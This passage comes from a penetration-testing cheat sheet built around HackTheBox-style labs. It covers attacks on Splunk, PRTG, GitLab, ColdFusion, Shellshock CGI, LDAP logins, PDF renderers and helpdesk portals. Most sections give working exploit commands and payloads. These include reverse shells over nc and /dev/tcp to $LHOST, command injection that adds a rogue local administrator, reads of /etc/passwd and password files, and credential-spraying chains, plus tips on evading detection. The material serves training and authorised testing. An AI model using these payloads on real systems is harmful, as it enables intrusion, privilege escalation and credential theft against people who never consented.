OR run.bat+.ps1 for Windows: 1966 # PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'" 1967 tar -cvzf updater.tar.gz splunk_shell/ 1968 nc -lvnp 443 1969 # Manage Apps -> Install app from file -> updater.tar.gz -> Upload (fires within `interval` s) 1970 ``` 1971 1972 > [!warning] Watch out 1973 > - App is enabled the instant it uploads — listener up **first**. Shell runs as the Splunk service account (often `SYSTEM`/`root`). 1974 > - Compromised **deployment server**? Drop the app in `$SPLUNK_HOME/etc/deployment-apps` → RCE on every Universal Forwarder that checks in. Forwarders lack Python → use a PowerShell scripted input in a Windows fleet. 1975 1976 --- 1977 1978 #### PRTG → CVE-2018-9276 notification command injection 1979 1980 **What to look for** → `Indy httpd … Paessler PRTG bandwidth monitor` on `:8080`. Default `prtgadmin:prtgadmin` is often pre-filled and unchanged. Vulnerable < 18.2.39. 1981 1982 **Enumerate** 1983 ```bash 1984 nmap -sV -p- --open -T4 $IP 1985 curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep -i version 1986 ``` 1987 1988 **Exploit / Attack (authenticated, blind)** 1989 ```text 1990 Setup -> Account Settings -> Notifications -> Add new notification 1991 Tick EXECUTE PROGRAM 1992 Program File: Demo exe notification - outfile.ps1 1993 Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add 1994 Save -> click Test 1995 ``` 1996 ```bash 1997 # confirm out-of-band (blind inject = no UI feedback) 1998 nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin 1999 ``` 2000 2001 > [!warning] Watch out 2002 > - The `Parameter` field is concatenated unsanitised into a PowerShell call — the `;` chains your command. It's **blind**: confirm via a listener or the new admin account, PRTG shows nothing. 2003 > - Scheduling the notification (vs Test) doubles as persistence. Prefer a reverse shell over `net user` on a real engagement to cut footprint. 2004 2005 --- 2006 2007 #### osTicket / helpdesk → email harvest + credential reuse (methodology) 2008 2009 **What to look for** → `OSTSESSID` cookie, "powered by osTicket" footer. Nmap only sees the webserver, not the app. Few CVEs — this is a **process** attack (the HTB Delivery pattern), applies to Zendesk/Freshdesk/Jira SD too. 2010 2011 **Attack chain** 2012 ```text 2013 1) Submit a support ticket -> you're handed a real company reply-to email (e.g. 1234567@osticket.inlanefreight.local) 2014 2) Use that verified address to self-register on OTHER exposed portals (Mattermost, GitLab, Rocket.Chat) 2015 3) Cross-ref the email domain against breach data: 2016 python3 dehashed.py -q inlanefreight.local -p 2017 4) Try leaked creds on the portal login (email AND username — kevin@… may work where kgrimes doesn't) 2018 5) Read closed tickets: password resets, VPN issues, "standard new-joiner password" -> spray other services 2019 ``` 2020 2021 > [!tip] Address-book export = ready-made spray list 2022 > Export the helpdesk contact/address book in full — it's a validated username/email list. Build spray targets from employee names with `linkedin2username`. A "standard new joiner password" mentioned in a ticket is a strong spray candidate if policy doesn't force a change at first login. 2023 2024 --- 2025 2026 #### GitLab → self-register → repo secrets / ExifTool RCE 2027 2028 **What to look for** → GitLab login/logo; `/explore` lists **public** projects with no auth; version only shows on `/help` post-auth. Highest-value first check: is self-registration on? 2029 2030 **Enumerate** 2031 ```bash 2032 # public source/secrets before you even have an account 2033 curl -s http://$IP:8081/explore 2034 # username enum via registration oracle ("Email has already been taken") — works even if signup is disabled 2035 ./gitlab_userenum.sh --url http://$IP:8081/ --userlist users.txt # or the maintained py3 port 2036 ``` 2037 2038 **Exploit / Attack** 2039 ```bash 2040 # register (hacker:Welcome1) -> browse /explore for internal projects -> mine repos/commits/snippets for: 2041 # hardcoded creds, committed SSH private keys, infra config 2042 # authenticated RCE, CE <= 13.10.2 (ExifTool image-metadata parsing) -> shell as git 2043 python3 gitlab_13_10_2_rce.py -t http://$IP:8081 -u mrb3n -p password1 \ 2044 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 8443 >/tmp/f' 2045 nc -lvnp 8443 2046 ``` 2047 2048 > [!warning] Watch out 2049 > - GitLab lockout = **10 failed attempts, 10-min auto-unlock**, not UI-configurable — pace credential attacks across the user list to avoid locking real accounts. 2050 > - Confirm the exact CE/EE build: CVE-2021-22205 is the *unauth* ExifTool RCE in a slightly later range — different exploit, different version gate. 2051 2052 --- 2053 2054 #### ColdFusion → dir-traversal creds / FCKeditor unauth RCE 2055 2056 **What to look for** → port `:8500`, `.cfm`/`.cfc` extensions, `/CFIDE/administrator/`, `Server: ColdFusion`/`X-Powered-By: ColdFusion`. Both CVEs are CF 8/9-era. 2057 2058 **Enumerate** 2059 ```bash 2060 nmap -p- -sC -Pn $IP --open # 8500/tcp fmtp + CFIDE/cfdocs in webroot = ColdFusion 2061 # browse http://$IP:8500/CFIDE/administrator -> version in page title/source 2062 searchsploit adobe coldfusion 2063 ``` 2064 2065 **Exploit / Attack** 2066 ```bash 2067 # CVE-2010-2861 dir-trav (<=9.0.1) -> leak encrypted datasource creds 2068 python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties" 2069 2070 # CVE-2009-2265 FCKeditor unauth file-upload RCE (<=8.0.1) -> JSP payload, ColdFusion-service shell 2071 python3 50057.py # sets lhost/lport/rhost/rport, uploads JSP, triggers, self-cleans 2072 ``` 2073 2074 > [!warning] Watch out 2075 > - `password.properties` values are **encrypted**, not plaintext — still high-value (every datasource: DB, mail, LDAP), but you'll need to crack/decrypt. 2076 > - FCKeditor connector path: `/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm` — check it on any legacy CF regardless of the CVE number. 2077 2078 --- 2079 2080 #### CGI / Shellshock (CVE-2014-6271) → User-Agent RCE 2081 2082 **What to look for** → a `cgi-bin/` dir with `.cgi`/`.sh`/`.pl` scripts. A `200` with **zero-length body** is still worth testing. Persists on embedded/IoT gear. 2083 2084 **Enumerate** 2085 ```bash 2086 feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi,sh,pl 2087 # local bash sanity check for the bug shape: 2088 env y='() { :;}; echo vuln' bash -c "echo test" # prints 'vuln' on a vulnerable bash 2089 ``` 2090 2091 **Exploit / Attack — inject via the `User-Agent` header** 2092 ```bash 2093 # confirm (two echoes = clean HTTP separator before output) 2094 curl -H 'User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd' http://$IP/cgi-bin/access.cgi 2095 # reverse shell 2096 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/7777 0>&1' http://$IP/cgi-bin/access.cgi 2097 nc -lvnp 7777 2098 ``` 2099 2100 > [!warning] Watch out 2101 > - Any header CGI maps into an env var is an injection point — `User-Agent` is classic, but `Referer` and `Cookie` work too. 2102 > - Patched bash prefixes function definitions with `BASH_FUNC_`, breaking the exploit — one request confirms/denies, cheap to test on every `cgi-bin`. 2103 2104 --- 2105 2106 #### IIS short-name (`~`) tilde enumeration 2107 2108 **What to look for** → `Microsoft IIS httpd` (7.5/8.x era). Vulnerability depends on **config**, not just version — always run the scanner's own check. Turns "guess the full filename" into "reconstruct 8 chars at a time". 2109 2110 **Enumerate → recover** 2111 ```bash 2112 nmap -p- -sV -sC --open $IP # confirm IIS 2113 java -jar iis_shortname_scanner.jar 0 5 http://$IP/ # reports Vulnerable + partial names (TRANSF~1.ASP) 2114 # build a targeted wordlist from the partial short name, then fuzz full name + real extension 2115 egrep -rh '^transf' /usr/share/wordlists/* | sort -u > /tmp/list.txt 2116 feroxbuster -u http://$IP/ -w /tmp/list.txt -t 50 -x aspx,asp 2117 ``` 2118 2119 > [!tip] Why it's worth the setup 2120 > Some recovered names resolve whole (`CSASPX~1.CS`); others (`TRANSF~1.ASP`) only give a 6-char prefix + extension — the wordlist-narrowing pass recovers the rest. It's the difference between brute-forcing every filename vs only words starting `transf`. Needs Oracle Java for the `.jar`; the `0 5` args tune threads (Enter to skip proxy). 2121 2122 --- 2123 2124 #### LDAP-backed login → wildcard injection + mass assignment 2125 2126 **What to look for** → `389`/`636` open **beside** a web login form = likely LDAP-backed auth (not a SQL user table). Injection mirrors SQLi: `*` = any-chars, `()` group, `&`/`|` logic. 2127 2128 **Enumerate** 2129 ```bash 2130 nmap -p- -sC -sV --open --min-rate=1000 $IP # 389 ldap OpenLDAP next to 80 http = strong signal 2131 # query directly if you have a bind DN: 2132 ldapsearch -H ldap://$IP:389 -D "cn=admin,dc=example,dc=com" -w secret -b "dc=example,dc=com" "(objectClass=*)" 2133 ``` 2134 2135 **Exploit / Attack** 2136 ```text 2137 # LDAP injection auth-bypass — filter (&(objectClass=user)(sAMAccountName=$u)(userPassword=$p)) becomes all-true 2138 Username: * 2139 Password: * 2140 2141 # Mass assignment — add a field the form never exposed to flip a privilege/approval flag 2142 POST /register 2143 username=new&password=test&confirmed=test # existence-only check -> bypass admin approval 2144 # Rails equivalent: smuggle user[admin]=true into the params hash the controller doesn't strip 2145 ``` 2146 2147 > [!warning] Watch out 2148 > - Both are best confirmed by **reading source** — black-box guessing is far less reliable. Look for `include()`-style string concat into the LDAP filter, or `attr_accessible`/over-broad `permit!` in Rails. 2149 > - LDAP special chars that don't URL-encode cleanly can break the filter — test `*` alone first, then build up `(cn=*)`/`(objectClass=*)`. 2150 2151 --- 2152 2153 ### 🧩 More Web Classes — PDF-Renderer SSRF · Thick Clients · Mass-Assignment · Helpdesk OSINT 2154 2155 The CPTS/AEN web classes the automated scanners miss. Each is a distinct pattern worth recognising on sight. 2156 2157 #### Server-side HTML→PDF renderer → SSRF / local file read 2158 2159 **What to look for** → a feature that renders *your* input into a server-generated PDF/preview (invoices, tracking numbers, reports). If a `wkhtmltopdf`-class engine parses HTML **and executes JS server-side**, your input runs on the renderer host — not the victim's browser (distinct from stored XSS). 2160 2161 **Exploit — prove it in stages** 2162 ```html 2163 <h1>test</h1> <!-- 1. HTML parsed? --> 2164 <script>document.write('JS-EXECUTED')</script> <!-- 2. JS runs on the server's PDF worker? --> 2165 <script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd',false);x.send();document.write(x.responseText)</script> 2166 <script>x=new XMLHttpRequest();x.open('GET','http://127.0.0.1:8080/',false);x.send();document.write(x.responseText)</script> <!-- internal SSRF --> 2167 ``` 2168 > [!warning] Watch out — code executes in the server's PDF worker, so `file://` reads *server* files and `http://127.0.0.1` hits *internal* services. Full staged PoC: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet. 2169 2170 #### Thick-client / fat-client apps (binary RE for creds) 2171 2172 **What to look for** → a downloadable `.exe`/`.jar` desktop client. Framework first (`file client.exe`, PE header, `.NET,Version=v4.0` string), then decompile — hardcoded creds / DB connection strings are the payoff (the Multimaster pattern). 2173 ```bash 2174 file thickclient.exe; strings64 thickclient.exe | grep -iE 'password|connectionstring|server=' 2175 # .NET → dnSpyEx (maintained dnSpy fork) + de4dot to deobfuscate; IL decompiles to near-original C# 2176 # Java → jd-gui / jadx-gui client.jar ; patch a class → javac -cp client.jar Patched.java 2177 # runtime: Sysinternals Procmon (file/registry), Frida (hook without full static), Wireshark/Burp on the TCP channel 2178 ``` 2179 > [!tip] Three-tier thick clients still hit a backend DB directly → test the extracted connection for **SQLi and path traversal**. Deep dives: 12 - Attacking Thick Client Applications · 16 - Attacking Applications Connecting to Services. 2180 2181 #### More app targets + the transferable method 2182 2183 **The method IS the payload** (works on any product): **fingerprint** exact version/stack → **try default/weak creds** → **search CVEs for that exact version** → and regardless of CVE, **abuse legitimate built-in functionality** (script consoles, template/theme editors, custom-app upload, "run program" notification actions). Targets beyond the main table: 2184 2185 | App | Quick win | 2186 | :-- | :-- | 2187 | Axis2 | default admin → upload malicious `.aar` service = web shell (Tomcat-WAR analogue) | 2188 | WebSphere | `system:manager` → deploy WAR → RCE | 2189 | Nagios XI | default `nagiosadmin:PASSW0RD`; multiple RCE/SQLi CVEs | 2190 | Zabbix | built-in API abused for RCE (HTB Zipper) | 2191 | WebLogic | Java-deserialization unauth RCE (190+ CVEs) | 2192 | Elasticsearch | forgotten unauth instance (HTB Haystack) | 2193 | vCenter | CVE-2021-22005 unauth OVA-upload RCE — often runs as SYSTEM/DA | 2194 | DotNetNuke (DNN) | cleartext admin creds in `web.config` → SQL-console RCE | 2195 2196 Deep dive: 17 - Other Notable Applications and Application Hardening. 2197 2198 #### Helpdesk / ticketing OSINT chain (osTicket-style) 2199 2200 **What to look for** → a support portal (`OSTSESSID` cookie, "Powered by osTicket" footer). Not a CVE — a human-error chain: submit a ticket → harvest the real assigned reply-to **company email** → self-register that verified address on other exposed services (GitLab/Mattermost/Slack) → read closed tickets for password resets / "standard new-joiner password" → export the address book as a username list → controlled spray against VPN/email/AD. 2201 > [!tip] Login pages that accept **email OR username** — try both (`kevin@corp.local` succeeded where `kgrimes` failed). This is the HTB Delivery pattern; generalises to Zendesk/Freshdesk/Jira Service Desk. Deep dive: 9 - Attacking osTicket. 2202 2203 #### Mass-assignment / autobinding parameter tampering 2204 2205 **What to look for** → a framework that blanket-binds the whole request body to a model. Add parameters that were never on the form so it sets fields it shouldn't. 2206 ```http 2207 POST /register username=me&password=x&confirmed=1 # bypasses admin-approval (key present = enough) 2208 POST /register username=me&password=x&role=admin # or is_admin=1 / credit= 2209 user[admin]=true # Rails-style nested param hash 2210 ``` 2211 > [!tip] Find candidate fields by reading responses/JSON and reflecting them back into write requests. Deep dive: 15 - LDAP and Web Mass Assignment Vulnerabilities. 2212 2213 --- 2214 2215 ### 🥷 Detection & OPSEC summary (per technique) 2216 2217 | Technique | What defenders see | Mitigation / cleanup | 2218 |---|---|---| 2219 | ffuf/feroxbuster/gobuster | thousands of 404s, scanner UA, request-rate anomaly | tune `-t`/`-rate`, `-H` UA spoof, scope wordlists; expected noise on labs | 2220 | nikto | its UA and `/nikto-test`-style probes are signatured | spoof `-useragent`, narrow `-Tuning` | 2221 | nuclei | template paths + OAST callbacks to public interact servers | `-rl` rate-limit, `-ni` on isolated nets, scope tags/severity | 2222 | sqlmap | `sqlmap/x.x` UA, long UNION/time payloads in logs, `--risk=3` may **modify data** | `--random-agent`, lowest working level/risk, never `--os-shell` without authorization to touch disk | 2223 | hydra/medusa | auth-failure bursts, account lockouts, SIEM impossible-travel | spray breadth-first, throttle, `-f` stop-on-success | 2224 | file upload | new file in webroot (FIM tripwire), AV/EDR webshell signatures | random name, obfuscated param, **delete when done** | 2225 | webshell use | requests to a never-linked path; `cmd=` in logs | password-gate, POST over GET, HTTPS target preferred, remove artifact | 2226 | log/session poisoning | your PHP payload written into access.log / session files | last-resort technique; poisoned logs persist — note it in the report | 2227 | SSRF/gopher/OOB | egress to internal services and attacker infra | use only your own callback infra; document every internal host touched | 2228 | XSS cookie theft | outbound request from victim browser to your collector | HTTPS collector on HTTPS targets; the callback domain is in the victim's browser log | 2229 2230 > [!warning] Reporting duty 2231 > Every webshell, poisoned log, created account (PRTG `net user`, Drupal rogue admin) and uploaded file is an **artifact you must list in the report and remove**. The vault's reporting toolchain notes live in [00 - Attack Flow Dashboard](/sheets/pentest-workflow/attack-flow-dashboard); webshell removal and transfer cleanup pair with [04 - Foothold Toolkit - File Transfers](/sheets/pentest-workflow/foothold-file-transfers) and [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). 2232 2233 **MITRE ATT&CK anchors used in this note:** TA0043 Recon ([T1595.002](https://attack.mitre.org/techniques/T1595/002/)) · T1190 Exploit Public-Facing Application · T1078 Valid Accounts (default creds) · T1110 Brute Force · T1552 Unsecured Credentials (source leaks) · T1059 Command and Scripting Interpreter (webshells) · T1505.003 Web Shell. 2234 2235 --- 2236 2237 > [!navigation] Continue the attack flow 2238 > **Previous:** [Stage 01 — Recon and Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery) 2239 > 2240 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 2241 > 2242 > **Next:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers)